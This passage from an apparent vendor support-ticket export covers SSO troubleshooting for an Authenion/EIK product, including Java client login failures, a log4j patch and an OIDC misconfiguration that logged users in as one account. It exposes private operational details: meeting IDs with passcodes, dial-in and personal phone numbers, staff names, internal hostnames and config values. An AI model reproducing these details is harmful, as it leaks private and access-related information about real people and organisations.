ype=code&state=Y29tLmF1dGhlbmlvbi5zc29saWJyYXJ5LnN0YXRlOmh0dHBzOi8vYWdpbGVvdW  
F0Lm9jaS5iZW50ZmFDbGllbnQvd2xzL2V4dC5qbmxw&scope=33f69b6d-eed2-4055  
-968c-0ca18ba727d4 openid&redirect\_uri=https://agileouat.oci.becpsn.com/ssolibrary/oidc/callback  
at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(Unknown Source) at  
sun.net.www.protocol.http.HttpURLConnection.access\$200(Unknown Source) at  
sun.net.www.protocol.http.HttpURLConnection\$9.run(Unknown Source) at  
sun.net.www.protocol.http.HttpURLConnection\$9.run(Unknown Source) at  
java.security.AccessController.doPrivileged(Native Method) at  
java.security.AccessController.doPrivilegedWithCombiner(Unknown Source) at  
sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source) at  
sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(Unknown Source) at  
com.sun.deploy.net.HttpUtils.followRedirects(Unknown Source) at  
com.sun.deploy.net.BasicHttpRequest.doRequest(Unknown Source) at  
com.sun.deploy.net.BasicHttpRequest.doRequest(Unknown Source) at  
com.sun.deploy.net.BasicHttpRequest.doGetRequest(Unknown Source) at  
com.sun.deploy.net.DownloadEngine.actionDownload(Unknown Source) at  
com.sun.deploy.net.DownloadEngine.downloadResource(Unknown Source) at  
com.sun.deploy.cache.ResourceProviderImpl.getResource(Unknown Source) at  
com.sun.deploy.cache.ResourceProviderImpl.getJreResource(Unknown Source) at  
com.sun.javaws.LaunchDownload.\_downloadExtensionsHelper(Unknown Source) at  
com.sun.javaws.LaunchDownload.downloadExtensionsHelper(Unknown Source) at  
com.sun.javaws.LaunchDownload.downloadExtensions(Unknown Source) at  
com.sun.javaws.Launcher.prepareLaunchFile(Unknown Source) at

com.sun.javaws.Launcher.prepareAllResources(Unknown Source) at  
com.sun.javaws.Launcher.prepareToLaunch(Unknown Source) at  
com.sun.javaws.Launcher.prepareToLaunch(Unknown Source) at  
com.sun.javaws.Launcher.launch(Unknown Source) at com.sun.javaws.Main.launchApp(Unknown Source) at com.sun.javaws.Main.continueInSecureThread(Unknown Source) at  
com.sun.javaws.Main.access\$000(Unknown Source) at com.sun.javaws.Main\$1.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Kindly setup an immediate call.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/profile/edit portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Prateek Jain, ?Please send us a meeting invite. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1134> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Based on todays meeting, No errors were found in the Authenion logs and user (Joel & Prateek were able to login to Prateek's workstation) However, User (Jeni) was not able to authentication into Java client. Prateek will compare local workstation Environments and get back to us (Java settings etc.) We observed that a subset of users were not able to authenticate in to their respective workstations. ? Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1134> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



We have checked the setting with local vendor and Java settings looks good. I am setting up a call to troubleshoot this issue further. Thanks Prateek

Hi Prateek Jain, Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1134>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, As we discussed during today's call initially we have tested with required excluded resource, Agile Java Client able to launch and so as we suggested, add the list of required excluded resources Uri's in authenion console for agile Java Client application and Please let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1134> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1135

SUBJECT : log4j vulnerability in authenion-agent-1.1.jar

PROBLEM DESCRIPTION : Hi Team, Our security team scanned authenion setup and found "authenion-agent-1.1.jar" file under log4j vulnerability. Path : /home/appuser/authenion-2.0/authenion/deploy/authenion-agent-1.1.jar Installed version : 2.15.0 Fixed version : 2.17.1 Kindly suggest a latest patch for removing this vulnerability. Thanks Prateek

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1134> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Prateek Jain, We are already working on the 2.19.0 version and will be issuing a patch shortly.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1135> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Log4J Patch for Vulnerability (Part 1 & 3) Original file size is 24,848 kb ? Note: we are splitting this file into 3 parts, due to portal upload file size limitations and also renaming the original file extension .jar to .txt. After you download the 3 files, copy them into a folder and extract. Rename the .txt back to .jar  
<https://support.likemindsconsulting.com/en/support/solutions/folders/48000693107> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1135> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, This is file part 2 of the .jar file Kindly acknowledge the receipt of the files.  
<https://support.likemindsconsulting.com/en/support/solutions/articles/48001246574-log4j-patch-for-vulnerability-part2-> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1135> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Thanks for the patch. Is this patch also includes the "Session persistence" and "Enable Host Header" features.? Please let me know. Thanks Prateek

Hi Team, Thanks for the patch. Is this patch also includes the "Session persistence" and "Enable Host Header" features.? Please let me know. Thanks Prateek

Hi Prateek Jain, This patch has every feature, and everything is fine in it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1135> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Kindly send us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1135> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1136

SUBJECT : External Login fail due to The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

PROBLEM DESCRIPTION : The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, We will look into this and get back to you asap. thanks Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1136> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Its a production issue can somebody call us at +16023005605 Regards Chenthil

Hi Anil Dutta, Could you please send us the logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1136> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Guys Can somebody come on a call. We need a live troubleshooting please....thanks

Again as I said its a production issue...I am being stalled here with logs. Thanks Chenthil

Hi Anil Dutta, Could you please send us the meeting bridge to troubleshoot this issue. ?thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1136> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

[Click here to join the meeting](#)

Hi Anil Dutta, As we discussed during our call, The GCCH option has been disabled, and the policy has been redeployed once(Azure team-Ali Zain).The issue has been resolved. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1136> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1137

SUBJECT : Getting error while setup UAT Authenion Server

PROBLEM DESCRIPTION : We are getting error while setup Authenion UAT server. Please assist.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/tickets> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Vishv Gupta, Please Send us a meeting invite to address this issue. Also provide us with the screenshot of the error message, Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1137> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I have sent the meeting invite. Please join.

---

\_ Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 229 447 631 838 Passcode: 2yvhqG Download Teams | Join on the web Join with a video conferencing device 283820108@bechtel.com Video Conference ID: 115 558 159 0 Alternate VTC instructions Or call in (audio only) +1 469-373-4740,,374936912# United States, Dallas Phone Conference ID: 374 936 912# Find a local number | Reset PIN Learn More | Meeting options

---

? Hi Vishv Gupta, We see that you have installed the Authenion admin UI in UAT env, Redirect URI

was missing in the Azure client as we saw this in the NW trace. Suggest that you add the redirect Uri in the Azure client. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1137>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vishv Gupta, Kindly send us an update on Ticket 1137 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1137> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vishv Gupta, ?Please note that we are closing ticket 1137. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1137> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1138

SUBJECT : New UAT setup not working

PROBLEM DESCRIPTION : We have done a new Authenion UAT setup. While trying to integrate EBS application with UAT we are getting error. Please find attached screenshot for error message.  
Kindly setup call at 2:00 PM IST today. Thanks & Regards, Kuldeep

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46  
seen\_articles: enterprise\_enabled: false referrer:  
<https://support.likemindsconsulting.com/support/home> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Please kindly send us a meeting invite link. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Please join this meeting to troubleshoot Authenion UAT setup as it is not working. Thanks  
& Regards, Kuldeep

---

\_ Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 242 956 372 291 Passcode: vTnK4M Download Teams | Join on the web Join with a video conferencing device 283820108@bechtel.com Video Conference ID: 115 113 892 3 Alternate VTC instructions Or call in (audio only) +1 469-373-4740,,718180881# United States, Dallas Phone Conference ID: 718 180 881# Find a local number | Reset PIN Learn More | Meeting options

Hi Anil Dutta, Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Network trace attached.

Please find attached log files for further analysis

Hi kuldeep, Please send us a meeting invite today, to discuss on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Please join to discuss Authenion UAT issue at 2:00 PM IST today. Thanks & Regards,  
Kuldeep

---

\_ Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 219 594 838 838 Passcode: nQNn8S Download Teams | Join on the web Join with a video conferencing device 283820108@bechtel.com Video Conference ID: 117 480 730 6 Alternate VTC instructions Or call in (audio only) +1 469-373-4740,,147209608# United States, Dallas Phone Conference ID: 147 209 608# Find a local number | Reset PIN Learn More | Meeting options

Hi Anil Dutta, Sure, noted! Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Network trace while accessing <https://ebsuat-sso.oci.becpsn.com/FRSOUAT/ssologin>

Network trace while accessing FRSOUAT EBS when it was pointing to Production Authenion i.e. ?Application Authenticate Agent? pointing to <https://ebs-sso.oci.becpsn.com/FRSOUAT>

Hi kuldeep, Attached Authenion document for your reference <https://docs.authenion.com/> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit



the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please send us an update on ticket 1138. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, We are still facing same issue. Will setup a call soon.

Hi Anil Dutta, Noted. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please send us an update on this ticket 1138. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1138> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please close this ticket, we have resolved the issue. Thanks & Regards, Kuldeep

TICKET DISPLAY ID : 1139

SUBJECT : Users are being logged in with the same non-prod account after upgrading to 2.3.0.3

PROBLEM DESCRIPTION : Users are being logged in with the same non-prod account after upgrading to 2.3.0.3. We are seeing the same user account in the logs - 10010000000069232407

Please join our conference call

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46  
seen\_articles: enterprise\_enabled: false referrer:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets portal\_url:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 256 988 520 679 Passcode: iF8MFM Download Teams | Join on the web Learn More

We (LMS) were in the call and had to roll-back to EIK ver 2.2.0.12 (Carla)

EIK logs & EIKAuth.config files attached (sent by Siraj) 1.Running instance EIKAuth.config (rolled back instance) 2.Failed instance EIKAuth.config (EIK ver 2.3.0.3) 3.Failed instance logs

Hi Carla Chan, Can you please send us a screenshot of the summery page on the OPENID connect policy in Ping federate. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

OPENID connect policy in Ping federate has been attached

Thank you Carla Chan. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Thank you, Can we also have the Access token mappings. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Can you please deploy the 2.3.0.3 war file on your test environment, 1.Remove: userinfo\_url=<https://bsdas1.officedepot.com/idp/userinfo.openid> from EIKAuth.config file. 2.Remove: UsePrivateTrustStore=true from EIKAuth.config file . restart services and check. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please remove these two entries as well from the EIKAuth.config file. ? 3.trustStorePath=/u01/eik/apache\_eikprd/EBSAuth/cacerts 4.trustStorePassword=changeit in addition to the two earlier one's. . Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Before I remove the entries, I wanted to mention that initially when I did not have the 4 lines in the config file, authentication was not happening and I was getting a 504 error on the browser. Should I still proceed with removing the entries?

Hi Carla Chan, You are doing this on the Test environment. Make sure you take the backups of the files in case you need to revert back to the original state. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Also 2.3.0.3 is already deployed on my test environment.

Hi Carla Chan, What error's are you getting now ? 1.Send us the screenshot of the error message 2.EIKAuth.config file 3.EIK logs 4.Access token mappings screen shot in Pingfederate Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I made the changes but I'm unable to test at the moment since the Bill Management site is under maintenance. Could you please let me know the reason for these changes? Are you thinking the 4 lines are causing the issue with the same ID being passed? Just a reminder that when the 4 lines were not added initially, I wasn't able to authenticate to the application.

Hi Carla Chan, These entries are environment specific and not needed in your case. Point1 Was removed to avoid the same ID being passed and the default will be in the sub in the ID token. Point 2,3,4 Your Trust certs are in the Java trust store and not in the UserPrivateTruststore so we can omit these three entries. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Not sure I understand. If you refer to the last ticket I submitted, I was asked to add these 4 lines to

get the environment to work. It's also in the documentation. Please advise on this. I'm still waiting for our DEV website to be available so I can test in DEV. Ticket #1132 -  
OIDC\_USER\_NOT\_FOUND\_ERROR found in logs and users are unable to login

Hi Carla Chan, You can omit these four entries and let us know what the outcome is, once you are able to test your environment. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Lines have been removed and I'm receiving the error as expected. 2023-10-23T09:01:20.144-0400  
ERROR [https-jsse-nio-8443-exec-6] [com.likeminds.ebsauth.exception.EikExceptionResolver]  
OIDC\_USER\_NOT\_FOUND\_ERROR com.likeminds.ebsauth.exception.AuthException:  
OIDC\_USER\_NOT\_FOUND\_ERROR at  
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:132)  
~[classes/:2.3.0.3] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0\_281]  
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0\_281]  
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)  
~[?:1.8.0\_281] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0\_281] at  
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet  
hod.java:205) ~[spring-web-5.3.21.jar:5.3.21]

Hi Carla Chan, We will look into this and let you know. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Kindly send us a meeting invite to have a look. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 231 274 628 586 Passcode: x2HSet Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 111 698 980 7 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,60663991# United States, Fort Lauderdale Phone Conference ID: 606 639 91# Find a local number | Reset PIN

Hi Carla Chan, As per our discussion, Add the userinfo\_url in EIKAuth.config & the two mentioned checks (see attached) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Could you please send us an update on this ticket 1139. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We checked the Ping Fed config and the ID Token box is unchecked; however, this has been configured and working in the 2.2.x version of EIK. I've asked the Ping Fed team to review the

configuration again and I'll update you.

Hi Carla Chan, Yes, Please confirm and let us know. Can you also confirm with your Prod env on the same settings. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join the call at 1:30pm EST. The Ping Fed team will also join the call. Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 296 461 142 780 Passcode: y2Uku3 Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 112 473 109 2 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,78156774# United States, Fort Lauderdale Phone Conference ID: 781 567 74# Find a local number | Reset PIN

Hi Carla Chan, Ok Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

ID token check box was enabled in Ping Fed Policy Management. Carla will get back to us after application test verification.

Hi Carla Chan, Please send us the screen shot of ID Token check box page in your Ping fed of the Prod environment. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are able to login now and we see the correct user id after login. The fix appears to have worked. Before closing the ticket, we are getting additional user ids to validate logins. In addition, we would like to get the root cause of the fix. Why did authentication work with unchecked boxes work in the 2.2.x version, but failed in the 2.3.x version. Please advise. Changes that were made: 1) We updated the ID Token and Override Default Delivery checkboxes under eik\_eikusername 2) These lines were also update last week. userinfo\_url=xxxxx #trustStorePath=xxxxx #UsePrivateTrustStore=true #trustStorePassword=xxxxx

Hi Carla Chan, ?For the Purpose of isolating this issue; Can you please Uncheck the ID Token once , restart and let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, For the Purpose of isolating this issue; Can you please Uncheck the ID Token once , restart and let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Carla: Do you want me to leave the ?Override Default Delivery? box checked? fyi?we were unable to only check the ID Token box yesterday. It required us to select Override Default Delivery box in order to enable the ID Token checkbox. Thanks, Carla Chan LMS: Carla, Uncheck :Override & ID token checkboxes. Leave user info Checked. Restart and let us know please.

Hi Carla Chan, Carla, Uncheck :Override & ID token checkboxes. Leave user info Checked. Restart and let us know please. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139>



Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please make note of the followings; ? if we add userinfo url in EIKAuth config file, we have to make sure we send eik\_username in userinfo if we do not add userinfo url in EIKAuth config file, we have to make sure, the eik\_username goes thru id\_token. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 260 231 915 798 Passcode: eiWa5i Download Teams | Join on the web Join with a video conferencing device [officedepot@m.webex.com](mailto:officedepot@m.webex.com) Video Conference ID: 118 676 532 7 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,531202655# United States, Fort Lauderdale Phone Conference ID: 531 202 655# Find a local number | Reset PIN

Hi Carla Chan, Based on our discussion, kindly send us your response after the change. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Below was tested and it worked. I was able to login with 2 different users and the correct user id was authenticated and displayed Checked - Override & ID Token Unchecked - userinfo Config file - hashed userinfo URL The below config was previously tested and did not work: UnChecked - Override & ID Token Checked - userinfo Config file - enable userinfo URL Below config was also tested and did work: Checked - Override & ID Token Checked - userinfo Config file - enable userinfo URL

Hi Carla Chan, Thank you for the update ! ? Please stick with this scenario: Checked - Override & ID Token Unchecked - userinfo Config file - hashed userinfo URL ? Ps: Before moving to production we urge you to thoroughly do the testing in the Non-prod environment. Let us know if you are facing any issues and keep us posted. Can we close this ticket. you could always re open if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks. We will proceed with testing a few other IDs in nonprod and move to production. I'm still curious to know why the previous config worked in 2.2.x. Any update on that? Will there be an update to the documentation?

Hi Carla Chan, These changes are environment specific and in your case you do not have to add the four entries in the config file. Since the EIK\_USER goes through the ID token and not through userinfo\_url as in env. The rest remain the same (ie. Upgrading the 2.3.0.3 binaries) ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We are closing this ticket, If any issues related to the same, you can re open this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1139> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1140

SUBJECT : We are getting 'Failed to commit' message during URL redirection after application timeout

PROBLEM DESCRIPTION : We are getting 'Failed to commit' message during URL redirection after timeout happens in hyperion workspace. Requirement is that URL should redirect to workspace home page after timeout happens.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Please send us network trace and logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1140> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have attached network trace.

Hi Anil Dutta, We will look into this and get back to you asap. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1140> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you plz send us a meeting invite to discuss this issue. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1140> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

what time we can connect?

Hi Anil Dutta, Can you please send us a meeting invite at 2pm IST today. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1140> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join call using this link : Click here to join the meeting

Hi Anil Dutta, Ok Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1140> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

